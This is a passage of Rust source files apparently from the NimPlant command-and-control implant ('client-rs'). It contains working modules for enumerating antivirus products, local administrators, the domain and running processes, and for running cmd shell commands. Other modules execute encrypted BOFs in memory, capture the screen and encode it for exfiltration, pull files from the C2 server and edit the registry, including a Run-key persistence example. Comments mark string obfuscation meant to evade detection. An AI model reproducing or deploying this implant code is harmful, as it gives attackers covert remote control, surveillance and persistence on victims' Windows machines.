WMIConnection::with_namespace_path(&format!("ROOT\\SecurityCenter2"), com_con) { 19 | Ok(con) => con, 20 | Err(e) => return format!("Failed to connect to WMI: "{e}), 21 | }; 22 | 23 | let res = match wmi_con 24 | .raw_query::(&format!("SELECT displayName FROM AntiVirusProduct")) 25 | { 26 | Ok(res) => res, 27 | Err(e) => return format!("Failed to query WMI: "{e}), 28 | }; 29 | 30 | let mut avs = Vec::::new(); 31 | for av in res { 32 | avs.push(av.displayName); 33 | } 34 | 35 | if avs.is_empty() { 36 | format!("No antivirus products found.") 37 | } else { 38 | format!("Antivirus products: "{avs.join(", ")}) 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/get_domain.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | use std::ffi::OsString; 3 | use std::os::windows::ffi::OsStringExt; 4 | use windows_sys::core::PWSTR; 5 | use windows_sys::Win32::System::SystemInformation::GetComputerNameExW; 6 | use windows_sys::Win32::System::SystemInformation::COMPUTER_NAME_FORMAT; 7 | 8 | pub(crate) fn get_domain() -> String { 9 | let mut buf: [u16; 257] = [0; 257]; 10 | let lp_buf: PWSTR = buf.as_mut_ptr(); 11 | let mut pcb_buf: u32 = buf.len() as u32; 12 | let format: COMPUTER_NAME_FORMAT = 2; // ComputerNameDnsDomain 13 | 14 | let success = unsafe { GetComputerNameExW(format, lp_buf, &mut pcb_buf) != 0 }; 15 | 16 | if success { 17 | let domain = OsString::from_wide(&buf).to_string_lossy().into_owned(); 18 | let domain = domain.trim_end_matches('\0').to_string(); 19 | if domain.is_empty() { 20 | format!("Computer is not domain joined.") 21 | } else { 22 | domain 23 | } 24 | } else { 25 | format!("Failed to get domain name.") 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/get_local_admins.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | use serde::Deserialize; 3 | use wmi::{COMLibrary, WMIConnection}; 4 | 5 | #[derive(Deserialize, Debug)] 6 | #[allow(non_camel_case_types, non_snake_case)] 7 | struct Win32_GroupUser { 8 | GroupComponent: String, 9 | PartComponent: String, 10 | } 11 | 12 | pub(crate) fn get_local_admins() -> String { 13 | let com_con = match COMLibrary::new() { 14 | Ok(con) => con, 15 | Err(e) => return format!("Failed to initialize COM library: "{e}), 16 | }; 17 | 18 | let wmi_con = match WMIConnection::new(com_con) { 19 | // WMIConnection::new uses ROOT\CIMv2 by default 20 | Ok(con) => con, 21 | Err(e) => return format!("Failed to connect to WMI: "{e}), 22 | }; 23 | 24 | let res = match wmi_con.raw_query::(&format!( 25 | "SELECT GroupComponent, PartComponent FROM Win32_GroupUser" 26 | )) { 27 | Ok(res) => res, 28 | Err(e) => return format!("Failed to query WMI: "{e}), 29 | }; 30 | 31 | // Loop over the results and build a string of the local admins 32 | let mut admins = Vec::::new(); 33 | for group_user in res { 34 | // Get the group name from GroupComponent 35 | let group = group_user.GroupComponent.split('"').collect::>()[3]; 36 | if group == format!("Administrators") { 37 | // Get the username from the PartComponent 38 | let user = group_user.PartComponent.split('"').collect::>()[3]; 39 | admins.push(user.to_string()); 40 | } 41 | } 42 | 43 | if admins.is_empty() { 44 | format!("No local administrators found.") 45 | } else { 46 | format!("Local administrators: "{admins.join(", ")}) 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/inline_execute.rs: -------------------------------------------------------------------------------- 1 | use crate::app::{client::Client, coff_loader}; 2 | use fmtools::format; // using obfstr to obfuscate 3 | 4 | // Parse a string of hexadecimal arguments into a Vec 5 | fn unhexlify_args(value: &str) -> Result, Box> { 6 | if value.len() % 2 != 0 { 7 | return Err(format!("Invalid argument hexadecimal string").into()); 8 | } 9 | 10 | let bytes: Result, _> = (0..value.len()) 11 | .step_by(2) 12 | .map(|i| u8::from_str_radix(&value[i..i + 2], 16)) 13 | .collect(); 14 | 15 | Ok(bytes?) 16 | } 17 | 18 | pub(crate) fn inline_execute(args: &[String], client: &Client) -> String { 19 | let encrypted_bof = &args[0]; 20 | let entrypoint = args[1].clone(); 21 | let hex_args = &args[2]; 22 | 23 | if encrypted_bof.is_empty() || entrypoint.is_empty() { 24 | return format!("Invalid number of arguments received. Usage: 'inline-execute [localfilepath] [entrypoint] '."); 25 | } 26 | 27 | // Parse arguments 28 | let args = match unhexlify_args(hex_args) { 29 | Ok(args) => args, 30 | Err(_e) => return format!("Failed to parse arguments: "{_e}), 31 | }; 32 | 33 | // Decrypt the BOF 34 | let bof = match client.decrypt_and_decompress(encrypted_bof) { 35 | Ok(bof) => bof, 36 | Err(_e) => return format!("Failed to decrypt BOF: "{_e}), 37 | }; 38 | 39 | match coff_loader::Coffee::new(&bof) { 40 | Ok(mut coffee) => { 41 | match coffee.execute(Some(args.as_ptr()), Some(args.len()), &Some(entrypoint)) { 42 | Ok(result) => format!("BOF file executed! Output:\n"{result}), 43 | Err(_e) => format!("Failed to execute BOF: "{_e}), 44 | } 45 | } 46 | Err(_e) => format!("Failed to create Coffee instance: "{_e}), 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/ls.rs: -------------------------------------------------------------------------------- 1 | use chrono::{DateTime, Local}; 2 | use fmtools::format; 3 | use std::time::SystemTime; // using obfstr to obfuscate 4 | 5 | // Helper function to format time from metadata 6 | fn format_time(time: &std::io::Result, datetime_format: &str) -> String { 7 | match time { 8 | Ok(t) => DateTime::::from(*t) 9 | .format(datetime_format) 10 | .to_string(), 11 | Err(_) => "Unknown".to_string(), 12 | } 13 | } 14 | 15 | pub(crate) fn ls(path: &str) -> String { 16 | let datetime_format = "%Y-%m-%d %H:%M"; 17 | 18 | // If path is not provided, list the current directory 19 | let path = if path.is_empty() { 20 | std::env::current_dir().unwrap_or_else(|_| std::path::PathBuf::from(".")) 21 | } else { 22 | std::path::PathBuf::from(path) 23 | }; 24 | 25 | if let Ok(entries) = std::fs::read_dir(&path) { 26 | let mut result = String::new(); 27 | let mut directories = Vec::new(); 28 | let mut files = Vec::new(); 29 | 30 | // Print header 31 | result.push_str(&format!("Directory listing for directory '"{path.display()}"'.\n\n")); 32 | result.push_str(&format!( 33 | {"TYPE":<10} 34 | {"NAME":<50.50} 35 | {"SIZE":<10} 36 | {"CREATED":<20} 37 | {"MODIFIED":<20} 38 | "\n" 39 | )); 40 | 41 | for entry in entries { 42 | match entry { 43 | Ok(entry) => { 44 | // Get the file information 45 | let Ok(metadata) = entry.metadata() else { 46 | continue; 47 | }; 48 | let file_type = if metadata.is_dir() { "[DIR]" } else { "[FILE]" }; 49 | let file_size = if metadata.is_dir() { 50 | String::new() 51 | } else { 52 | // Get the file size in human readable format 53 | let size = metadata.len(); 54 | if size < 1024 { 55 | format!({size}"B") 56 | } else if size < 1024 * 1024 { 57 | format!({size / 1024}"KB") 58 | } else if size < 1024 * 1024 * 1024 { 59 | format!({size / 1024 / 1024}"MB") 60 | } else { 61 | format!({size / 1024 / 1024 / 1024}"GB") 62 | } 63 | }; 64 | 65 | let created_time_formatted = format_time(&metadata.created(), datetime_format); 66 | let last_write_time_formatted = 67 | format_time(&metadata.modified(), datetime_format); 68 | 69 | // Add the entry to the result 70 | let formatted_entry = &format!( 71 | {file_type:<10} 72 | {&entry.file_name().to_string_lossy():<50.50} 73 | {file_size:<10} 74 | {created_time_formatted:<20} 75 | {last_write_time_formatted:<20} 76 | "\n" 77 | ); 78 | 79 | if metadata.is_dir() { 80 | directories.push(formatted_entry.to_string()); 81 | } else { 82 | files.push(formatted_entry.to_string()); 83 | } 84 | } 85 | Err(_) => { 86 | result.push_str(&format!("Error listing directory item.\n")); 87 | } 88 | } 89 | } 90 | result.push_str(&directories.join("")); 91 | result.push_str(&files.join("")); 92 | 93 | result 94 | } else { 95 | format!("Error listing directory.") 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/mkdir.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | use std::fs; 3 | 4 | pub(crate) fn mkdir(path: &str) -> String { 5 | if path.is_empty() { 6 | return format!("Invalid number of arguments received. Usage: 'mkdir [path]'."); 7 | } 8 | 9 | if let Err(e) = fs::create_dir_all(path) { 10 | format!("Failed to create directory: "{e}) 11 | } else { 12 | format!("Directory '"{path}"' created successfully.") 13 | } 14 | } -------------------------------------------------------------------------------- /client-rs/src/app/commands/mv.rs: -------------------------------------------------------------------------------- 1 | use crate::app::win_utils::transfer_dir_to; 2 | use fmtools::format; // using obfstr to obfuscate 3 | use std::ffi::OsStr; 4 | use std::fs; 5 | use std::path::Path; 6 | 7 | pub(crate) fn mv(args: &[String]) -> String { 8 | let source: String; 9 | let destination: String; 10 | 11 | if args.len() >= 2 { 12 | source = args[0].clone(); 13 | let destination_str = args[1..].join(" "); 14 | destination = destination_str; 15 | } else { 16 | return format!( 17 | "Invalid number of arguments received. Usage: 'mv [source] [destination]'." 18 | ); 19 | } 20 | 21 | let source_path = Path::new(&source); 22 | let destination_path = Path::new(&destination); 23 | let mut new_destination_path = destination_path.to_path_buf(); 24 | 25 | if !&source_path.exists() { 26 | return format!("Failed to move, '"{source_path.to_string_lossy()}"' does not exist."); 27 | } 28 | 29 | if !&source_path.is_dir() && !&source_path.is_file() { 30 | return format!("Failed to move, '"{source_path.to_string_lossy()}"' is not a file or directory."); 31 | } 32 | 33 | if source_path.is_dir() { 34 | // Moving a directory 35 | 36 | if !destination_path.exists() { 37 | // Destination does not exist, move the source directory as a new directory with the destination name 38 | if let Err(e) = transfer_dir_to(source_path, destination_path, true) { 39 | return e; 40 | } 41 | } else if destination_path.is_dir() { 42 | // Destination exists as directory, move the directory as a subdirectory of the destination, preserving its name 43 | new_destination_path = Path::new(&destination) 44 | .join(source_path.file_name().unwrap_or_else(|| OsStr::new(""))); 45 | if let Err(e) = transfer_dir_to(source_path, &new_destination_path, true) { 46 | return e; 47 | } 48 | } else { 49 | // Destination exists as file, return an error message 50 | return format!("Failed to move, '"{new_destination_path.to_string_lossy()}"' exists as a file."); 51 | } 52 | } else { 53 | // Moving a file 54 | 55 | if !destination_path.exists() { 56 | // Destination does not exist, move the file as the destination path 57 | if let Err(e) = fs::rename(source_path, destination_path) { 58 | return format!("Failed to move file: "{e}); 59 | } 60 | } else if destination_path.is_dir() { 61 | // Destination exists as directory, move the file into the destination directory 62 | new_destination_path = Path::new(&destination) 63 | .join(source_path.file_name().unwrap_or_else(|| OsStr::new(""))); 64 | if let Err(e) = fs::rename(source_path, &new_destination_path) { 65 | return format!("Failed to move file: "{e}); 66 | } 67 | } else { 68 | // Destination exists as file, return an error message 69 | return format!("Failed to move, '"{new_destination_path.to_string_lossy()}"' already exists."); 70 | } 71 | } 72 | 73 | format!("Successfully moved '"{source_path.to_string_lossy()}"' to '"{new_destination_path.to_string_lossy()}"'.") 74 | } 75 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/ps.rs: -------------------------------------------------------------------------------- 1 | use crate::app::win_utils::{get_hostname, get_process_id}; 2 | use fmtools::format; // using obfstr to obfuscate 3 | use std::ffi::CStr; 4 | use windows_sys::Win32::Foundation::CloseHandle; 5 | use windows_sys::Win32::System::Diagnostics::ToolHelp::{ 6 | CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS, 7 | }; 8 | 9 | fn sz_exe_file_to_string(sz_exe_file: &[u8]) -> String { 10 | let sz_exe_file_cstr = unsafe { CStr::from_ptr(sz_exe_file.as_ptr().cast::()) }; 11 | let sz_exe_file_string = sz_exe_file_cstr.to_str().unwrap_or(""); 12 | sz_exe_file_string.to_string() 13 | } 14 | 15 | pub(crate) fn ps() -> String { 16 | let mut result: String = String::new(); 17 | let mut processes: Vec = Vec::new(); 18 | 19 | // Print header 20 | result.push_str(&format!("Process listing for '"{get_hostname()}"'.\n\n")); 21 | result.push_str(&format!( 22 | {"PID":<10} 23 | {"NAME":<50.50} 24 | {"PPID":<10} 25 | "\n" 26 | )); 27 | 28 | // Create process snapshot 29 | let snapshot = unsafe{ CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) }; 30 | if snapshot == -1 { 31 | return format!("Failed to create process snapshot: "{std::io::Error::last_os_error()}); 32 | }; 33 | 34 | // Iterate through all processes 35 | let mut process_entry: PROCESSENTRY32 = unsafe{ std::mem::zeroed() }; 36 | process_entry.dwSize = match u32::try_from(std::mem::size_of::()){ 37 | Ok(size) => size, 38 | Err(_) => return format!("Failed to get size of PROCESSENTRY32: "{std::io::Error::last_os_error()}), 39 | }; 40 | 41 | if unsafe{ Process32First(snapshot, &mut process_entry) } != 0 { 42 | processes.push(process_entry); 43 | while unsafe{ Process32Next(snapshot, &mut process_entry) } != 0 { 44 | processes.push(process_entry); 45 | } 46 | } else { 47 | unsafe{ CloseHandle(snapshot) }; 48 | return format!("Failed to get first process: "{std::io::Error::last_os_error()}); 49 | } 50 | 51 | // Format the result 52 | for process_entry in processes { 53 | result.push_str(&format!( 54 | {process_entry.th32ProcessID:<10} 55 | {sz_exe_file_to_string(&process_entry.szExeFile):<50.50} 56 | {process_entry.th32ParentProcessID:<10} 57 | )); 58 | 59 | // Add an indicator if the process is the current process 60 | if process_entry.th32ProcessID == get_process_id() { 61 | result.push_str(&format!("<-- YOU ARE HERE")); 62 | } 63 | 64 | result.push('\n'); 65 | } 66 | 67 | // Cleanup and return 68 | unsafe { CloseHandle(snapshot) }; 69 | result 70 | } 71 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/pwd.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | 3 | pub(crate) fn pwd() -> String { 4 | match std::env::current_dir() { 5 | Ok(pwd) => format!( 6 | "Current working directory: '"{pwd.to_string_lossy()}"'." 7 | ), 8 | Err(e) => format!("Failed to get current working directory: "{e}), 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/reg.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | 3 | use winreg::enums::{ 4 | HKEY_CLASSES_ROOT, HKEY_CURRENT_CONFIG, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, 5 | KEY_QUERY_VALUE, KEY_READ, KEY_WRITE, 6 | }; 7 | use winreg::RegKey; 8 | 9 | pub(crate) fn reg(args: &[String]) -> String { 10 | // Parse arguments 11 | let (command, path, key, value) = match args.len() { 12 | 2 => (args[0].clone(), args[1].clone(), String::new(), String::new()), 13 | 3 => (args[0].clone(), args[1].clone(), args[2].clone(), String::new()), 14 | 4 => (args[0].clone(), args[1].clone(), args[2].clone(), args[3..].join(" ")), 15 | _ => return format!( "Invalid number of arguments received. Usage: 'reg [query|add|delete] [path] '. Example: 'reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run inconspicuous calc.exe'"), 16 | }; 17 | 18 | // Split the path into hive and subkey 19 | let hive = match path.split('\\').next().unwrap().to_uppercase().as_str() { 20 | "HKEY_CURRENT_USER" => RegKey::predef(HKEY_CURRENT_USER), 21 | "HKEY_LOCAL_MACHINE" => RegKey::predef(HKEY_LOCAL_MACHINE), 22 | "HKEY_USERS" => RegKey::predef(HKEY_USERS), 23 | "HKEY_CLASSES_ROOT" => RegKey::predef(HKEY_CLASSES_ROOT), 24 | "HKEY_CURRENT_CONFIG" => RegKey::predef(HKEY_CURRENT_CONFIG), 25 | _ => return format!( "Invalid registry hive. Please use one of the following: HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_CURRENT_CONFIG"), 26 | }; 27 | let path = path.split('\\').skip(1).collect::>().join("\\"); 28 | 29 | // Open the subkey with the appropriate permissions 30 | let (subkey, _perms) = match command.as_str() { 31 | "query" if key.is_empty() => match hive.open_subkey_with_flags(&path, KEY_READ | KEY_QUERY_VALUE) { 32 | Ok(subkey) => (subkey, KEY_READ | KEY_QUERY_VALUE), 33 | Err(_) => return format!("Failed to open registry key for reading/querying."), 34 | }, 35 | "query" => match hive.open_subkey_with_flags(&path, KEY_READ) { 36 | Ok(subkey) => (subkey, KEY_READ), 37 | Err(_) => return format!("Failed to open registry key for reading."), 38 | }, 39 | "add" | "delete" => match hive.open_subkey_with_flags(&path, KEY_READ | KEY_WRITE) { 40 | Ok(subkey) => (subkey, KEY_READ | KEY_WRITE), 41 | Err(_) => return format!("Failed to open registry key for reading/writing."), 42 | }, 43 | _ => return format!("Unknown reg command. Please use 'reg query', 'reg add' or 'reg delete' followed by the path and value."), 44 | }; 45 | 46 | // Perform the requested action 47 | match command.as_str() { 48 | "query" if key.is_empty() => { 49 | let mut result = String::new(); 50 | for (name, value) in subkey.enum_values().map(std::result::Result::unwrap) { 51 | result.push_str(&format!("- "{name}": "{value}"\n")); 52 | } 53 | result 54 | } 55 | "query" => { 56 | if let Ok(value) = subkey.get_value(&key) { 57 | value 58 | } else { 59 | format!("Failed to read registry value.") 60 | } 61 | } 62 | "add" => { 63 | if subkey.set_value(&key, &value).is_ok() { 64 | format!("Successfully set registry value.") 65 | } else { 66 | format!("Failed to set registry value.") 67 | } 68 | }, 69 | "delete" => { 70 | if subkey.delete_value(&key).is_ok() { 71 | format!("Successfully deleted registry value.") 72 | } else { 73 | format!("Failed to delete registry value.") 74 | } 75 | }, 76 | _ => format!( "Unknown reg command. Please use 'reg query' or 'reg add' followed by the path and value."), 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/rm.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | use std::fs; 3 | 4 | pub(crate) fn rm(path: &str) -> String { 5 | if path.is_empty() { 6 | return format!("Invalid number of arguments received. Usage: 'rm [path]'."); 7 | }; 8 | 9 | if fs::remove_file(path).is_err() && fs::remove_dir_all(path).is_err() { 10 | return format!("Failed to remove '"{path}"'."); 11 | } 12 | 13 | format!("Successfully removed '"{path}"'.") 14 | } 15 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/run.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | use std::process::Command; 3 | use std::string::String; 4 | 5 | pub(crate) fn run(args: &[String]) -> String { 6 | let (command, args) = match args.len() { 7 | 0 => return format!("Invalid number of arguments received. Usage: 'run [binary] '."), 8 | 1 => (args[0].clone(), Vec::new()), 9 | _ => (args[0].clone(), args[1..].to_vec()), 10 | }; 11 | 12 | match Command::new(command) 13 | .args(args) 14 | .output() { 15 | Ok(output) => { 16 | match output.stdout.len() { 17 | 0 => format!("Command executed successfully."), 18 | _ => String::from_utf8_lossy(&output.stdout).to_string() 19 | } 20 | }, 21 | Err(e) => format!("Failed to execute command: "{e}), 22 | } 23 | } -------------------------------------------------------------------------------- /client-rs/src/app/commands/screenshot.rs: -------------------------------------------------------------------------------- 1 | use base64::{engine::general_purpose::STANDARD, Engine as _}; 2 | use flate2::{write::GzEncoder, Compression}; 3 | use fmtools::format; // using obfstr to obfuscate 4 | use image::codecs::png::PngEncoder; 5 | use image::ImageEncoder; 6 | use std::io::Write; 7 | use std::os::raw::c_void; 8 | use windows_sys::Win32::Foundation::{HWND, RECT}; 9 | use windows_sys::Win32::Graphics::Gdi::{ 10 | BitBlt, CreateCompatibleBitmap, CreateCompatibleDC, DeleteDC, DeleteObject, GetDC, GetDIBits, 11 | SelectObject, BITMAPINFO, BITMAPINFOHEADER, BI_RGB, DIB_RGB_COLORS, HDC, SRCCOPY, 12 | }; 13 | use windows_sys::Win32::UI::WindowsAndMessaging::{GetClientRect, GetDesktopWindow}; 14 | 15 | pub(crate) fn screenshot() -> String { 16 | let mut image_data: Vec; 17 | let width: i32; 18 | let height: i32; 19 | 20 | // Use Windows API to capture image data 21 | unsafe { 22 | let mut screen_rect: RECT = std::mem::zeroed(); 23 | GetClientRect(GetDesktopWindow(), &mut screen_rect); 24 | width = screen_rect.right - screen_rect.left; 25 | height = screen_rect.bottom - screen_rect.top; 26 | 27 | let h_screen: HDC = GetDC(GetDesktopWindow() as HWND); 28 | let h_dc: HDC = CreateCompatibleDC(h_screen); 29 | let h_bitmap = CreateCompatibleBitmap(h_screen, width, height); 30 | 31 | SelectObject(h_dc, h_bitmap as _); 32 | BitBlt( 33 | h_dc, 34 | 0, 35 | 0, 36 | width, 37 | height, 38 | h_screen, 39 | screen_rect.left, 40 | screen_rect.top, 41 | SRCCOPY, 42 | ); 43 | 44 | let mut bitmap_info: BITMAPINFO = std::mem::zeroed(); 45 | bitmap_info.bmiHeader.biSize = std::mem::size_of::() as u32; 46 | bitmap_info.bmiHeader.biWidth = width; 47 | bitmap_info.bmiHeader.biHeight = -height; 48 | bitmap_info.bmiHeader.biPlanes = 1; 49 | bitmap_info.bmiHeader.biBitCount = 32; 50 | bitmap_info.bmiHeader.biCompression = BI_RGB; 51 | 52 | image_data = vec![0; (width * height * 4) as usize]; 53 | GetDIBits( 54 | h_dc, 55 | h_bitmap, 56 | 0, 57 | height as u32, 58 | image_data.as_mut_ptr().cast::(), 59 | &mut bitmap_info, 60 | DIB_RGB_COLORS, 61 | ); 62 | 63 | DeleteObject(h_bitmap as _); 64 | DeleteDC(h_dc); 65 | } 66 | 67 | // Convert the image data from BGRA to RGBA 68 | for pixel in image_data.chunks_mut(4) { 69 | let (b, g, r, a) = (pixel[0], pixel[1], pixel[2], pixel[3]); 70 | pixel[0] = r; 71 | pixel[1] = g; 72 | pixel[2] = b; 73 | pixel[3] = a; 74 | } 75 | 76 | // Encode the image data as PNG 77 | let mut png_data = vec![]; 78 | { 79 | let encoder = PngEncoder::new(&mut png_data); 80 | if let Err(e) = encoder.write_image( 81 | &image_data, 82 | width as u32, 83 | height as u32, 84 | image::ExtendedColorType::Rgba8, 85 | ) { 86 | return format!("Failed to encode image as PNG: "{e}); 87 | } 88 | } 89 | 90 | // Compress the image data 91 | let mut encoder = GzEncoder::new(Vec::new(), Compression::default()); 92 | 93 | if let Err(e) = encoder.write_all(&png_data) { 94 | return format!("Failed to compress image data: "{e}); 95 | }; 96 | 97 | match encoder.finish() { 98 | Ok(compressed_data) => { 99 | // Return the compressed image data as a base64 string 100 | STANDARD.encode(compressed_data) 101 | } 102 | Err(e) => format!("Failed to compress image data: "{e}), 103 | } 104 | } 105 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/shell.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | use std::process::Command; 3 | use std::string::String; 4 | 5 | pub(crate) fn shell(command: &str) -> String { 6 | if command.is_empty() { 7 | return format!("Invalid number of arguments received. Usage: 'shell [command]'."); 8 | } 9 | 10 | match Command::new("cmd") 11 | .args(["/C", command]) 12 | .output() 13 | { 14 | Ok(output) => { 15 | match output.stdout.len() { 16 | 0 => format!("Command executed successfully."), 17 | _ => String::from_utf8_lossy(&output.stdout).to_string() 18 | } 19 | }, 20 | Err(e) => format!("Failed to execute command: "{e}), 21 | } 22 | } -------------------------------------------------------------------------------- /client-rs/src/app/commands/sleep.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; 2 | 3 | fn parse_sleep_time(arg: &str, client: &mut crate::app::client::Client) -> Result<(), String> { 4 | match arg.parse::() { 5 | Ok(n) => { 6 | client.sleep_time = n; 7 | Ok(()) 8 | } 9 | Err(_) => Err(format!("Invalid sleep time.")), 10 | } 11 | } 12 | 13 | fn parse_jitter(arg: &str, client: &mut crate::app::client::Client) -> Result<(), String> { 14 | match arg.parse::() { 15 | Ok(n) => { 16 | client.sleep_jitter = match n { 17 | n if n < 0.0 => 0.0, 18 | n if n > 100.0 => 1.0, 19 | _ => n / 100.0, 20 | }; 21 | Ok(()) 22 | } 23 | Err(_) => Err(format!("Invalid jitter time.")), 24 | } 25 | } 26 | 27 | pub(crate) fn sleep(args: &[String], client: &mut crate::app::client::Client) -> String { 28 | match args.len() { 29 | 1 => { 30 | if let Err(e) = parse_sleep_time(&args[0], client) { 31 | return e; 32 | } 33 | } 34 | 2 => { 35 | if let Err(e) = parse_sleep_time(&args[0], client) { 36 | return e; 37 | } 38 | if let Err(e) = parse_jitter(&args[1], client) { 39 | return e; 40 | } 41 | } 42 | _ => return format!("Invalid number of arguments."), 43 | } 44 | 45 | format!("Sleep time changed to "{client.sleep_time}" seconds ("{client.sleep_jitter*100.0}"% jitter).") 46 | } 47 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/upload.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | use std::{fs::File, io::Write}; 3 | 4 | use crate::app::client::Client; 5 | 6 | // Upload a file from the C2 server to Nimplant 7 | // From NimPlant's perspective this is similar to wget, but calling to the C2 server instead 8 | pub(crate) fn upload(guid: &str, args: &[String], client: &Client) -> String { 9 | let (file_id, file_path) = match args.len() { 10 | 3 if !args[0].is_empty() && !args[1].is_empty() && args[2].is_empty() => (args[0].clone(), args[1].clone()), 11 | len if len >= 3 && !args[2].is_empty() => (args[0].clone(), args[2..].join(" ")), 12 | _ => return format!("Invalid number of arguments received. Usage: 'upload [local file] '."), 13 | }; 14 | 15 | // Get the file 16 | let file_buffer = match client.get_file(&file_id, guid) { 17 | Ok(file_buffer) => file_buffer, 18 | Err(e) => return format!("Failed to get file from server: "{e}), 19 | }; 20 | 21 | // Write the file to the target path 22 | match File::create(&file_path) { 23 | Ok(mut file) => { 24 | if let Err(e) = file.write_all(&file_buffer) { 25 | return format!("Failed to write to file '"{file_path}"': "{e}); 26 | } 27 | } 28 | Err(e) => return format!("Failed to create file '"{file_path}"': "{e}), 29 | }; 30 | 31 | // Return the result 32 | format!("Uploaded file to '"{file_path}"'.") 33 | } 34 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/wget.rs: -------------------------------------------------------------------------------- 1 | use crate::app::client::Client; 2 | use fmtools::format; // using obfstr to obfuscate 3 | use std::fs::File; 4 | use std::io::Write; 5 | 6 | pub(crate) fn wget(args: &[String], client: &Client) -> String { 7 | let (url, filename) = match args.len() { 8 | 1 if !args[0].is_empty() => { 9 | let url = &args[0]; 10 | let filename = format!({std::env::current_dir().unwrap().display()}"/"{url.split('/').last().unwrap()}".html"); 11 | (url, filename) 12 | } 13 | n if n >= 2 => { 14 | let url = &args[0]; 15 | let filename = args[1..].join(" "); 16 | (url, filename) 17 | } 18 | _ => { 19 | return format!( 20 | "Invalid number of arguments received. Usage: 'wget [URL] '." 21 | ) 22 | } 23 | }; 24 | 25 | let response = ureq::get(url).set("User-Agent", &client.user_agent).call(); 26 | 27 | if let Ok(res) = response { 28 | if let Ok(body) = res.into_string() { 29 | let Ok(mut file) = File::create(&filename) else { 30 | return format!("Unable to create file: "{filename}); 31 | }; 32 | 33 | if file.write_all(body.as_bytes()).is_err() { 34 | return format!("Unable to write data to file: "{filename}); 35 | } 36 | 37 | format!("Downloaded file from '"{url}"' to '"{filename}"'.") 38 | } else { 39 | format!("Failed to read response body.") 40 | } 41 | } else { 42 | format!("Failed to send request.") 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/whoami.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | use std::ffi::{c_void, OsString}; 3 | use std::mem; 4 | use std::os::windows::ffi::OsStringExt; 5 | use windows_sys::Win32::Foundation::HANDLE; 6 | use windows_sys::Win32::Security::{ 7 | GetTokenInformation, TokenElevation, TOKEN_ELEVATION, TOKEN_QUERY, 8 | }; 9 | use windows_sys::Win32::System::Threading::{GetCurrentProcess, OpenProcessToken}; 10 | use windows_sys::Win32::System::WindowsProgramming::GetUserNameW; 11 | 12 | fn get_username() -> String { 13 | let mut buffer: [u16; 256] = [0; 256]; 14 | let mut size: u32 = buffer.len() as u32; 15 | 16 | unsafe { 17 | if GetUserNameW(buffer.as_mut_ptr(), &mut size) != 0 { 18 | let os_string = OsString::from_wide(&buffer[..(size as usize - 1)]); 19 | return os_string.into_string().unwrap_or_else(|_| "unknown".into()); 20 | } 21 | } 22 | 23 | "unknown".into() 24 | } 25 | 26 | pub(crate) fn whoami() -> String { 27 | let username = get_username(); 28 | 29 | unsafe { 30 | let mut token: HANDLE = mem::zeroed(); 31 | if OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) != 0 { 32 | let mut token_elevation: TOKEN_ELEVATION = mem::zeroed(); 33 | let mut size: u32 = 0; 34 | if GetTokenInformation( 35 | token, 36 | TokenElevation, 37 | std::ptr::addr_of_mut!(token_elevation).cast::(), 38 | mem::size_of::() as u32, 39 | &mut size, 40 | ) != 0 && token_elevation.TokenIsElevated != 0 { 41 | return format!({username}"*"); 42 | } 43 | 44 | } 45 | } 46 | 47 | username 48 | } 49 | -------------------------------------------------------------------------------- /client-rs/src/app/crypto.rs: -------------------------------------------------------------------------------- 1 | use aes::cipher::{KeyIvInit, StreamCipher}; 2 | use base64::{engine::general_purpose::STANDARD, Engine as _}; 3 | use rand::distributions::Alphanumeric; 4 | use rand::Rng; 5 | use std::str; 6 | 7 | type Aes128Ctr64BE = ctr::Ctr64BE; 8 | 9 | pub(crate) fn random_string(n: usize) -> String { 10 | rand::thread_rng() 11 | .sample_iter(&Alphanumeric) 12 | .take(n) 13 | .map(char::from) 14 | .collect() 15 | } 16 | 17 | pub(crate) fn xor_bytes(s: &[u8], key: i64) -> Vec { 18 | let mut k = key; 19 | let mut result: Vec = vec![]; 20 | 21 | for byte in s { 22 | let mut character: u8 = *byte; 23 | 24 | for m in &[0, 8, 16, 24] { 25 | let value = ((k >> m) & 0xFF) as u8; 26 | 27 | character ^= value; 28 | } 29 | 30 | result.push(character); 31 | k += 1; 32 | } 33 | 34 | result 35 | } 36 | 37 | pub(crate) fn 